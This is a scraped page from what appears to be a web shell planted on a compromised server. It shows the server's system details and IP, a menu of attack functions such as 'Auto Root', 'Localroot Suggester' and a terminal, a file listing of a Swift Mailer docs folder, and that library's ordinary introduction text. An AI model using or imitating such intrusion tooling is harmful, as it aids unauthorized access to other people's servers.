Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.140.248.104
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
swiftmailer /
swiftmailer /
doc /
Delete
Unzip
Name
Size
Permission
Date
Action
headers.rst
20
KB
-rw-r--r--
2020-11-17 16:24
index.rst
135
B
-rw-r--r--
2020-11-17 16:24
introduction.rst
1.57
KB
-rw-r--r--
2020-11-17 16:24
japanese.rst
552
B
-rw-r--r--
2020-11-17 16:24
messages.rst
39.44
KB
-rw-r--r--
2020-11-17 16:24
plugins.rst
12.82
KB
-rw-r--r--
2020-11-17 16:24
sending.rst
16.55
KB
-rw-r--r--
2020-11-17 16:24
Save
Rename
Introduction ============ Swift Mailer is a for sending e-mails from PHP applications. System Requirements ------------------- Swift Mailer requires PHP 7.0 or higher (``proc_*`` functions must be available). Swift Mailer does not work when used with function overloading as implemented by ``mbstring`` when ``mbstring.func_overload`` is set to ``2``. Installation ------------ The recommended way to install Swiftmailer is via Composer: .. code-block:: bash $ composer require "swiftmailer/swiftmailer:^6.0" Basic Usage ----------- Here is the simplest way to send emails with Swift Mailer:: require_once '/path/to/vendor/autoload.php'; // Create the Transport $transport = (new Swift_SmtpTransport('smtp.example.org', 25)) ->setUsername('your username') ->setPassword('your password') ; // Create the Mailer using your created Transport $mailer = new Swift_Mailer($transport); // Create a message $message = (new Swift_Message('Wonderful Subject')) ->setFrom(['john@doe.com' => 'John Doe']) ->setTo(['receiver@domain.org', 'other@domain.org' => 'A name']) ->setBody('Here is the message itself') ; // Send the message $result = $mailer->send($message); You can also use Sendmail as a transport:: // Sendmail $transport = new Swift_SendmailTransport('/usr/sbin/sendmail -bs'); Getting Help ------------ For general support, use `Stack Overflow <https://stackoverflow.com>`_. For bug reports and feature requests, create a new ticket in `GitHub <https://github.com/swiftmailer/swiftmailer/issues>`_.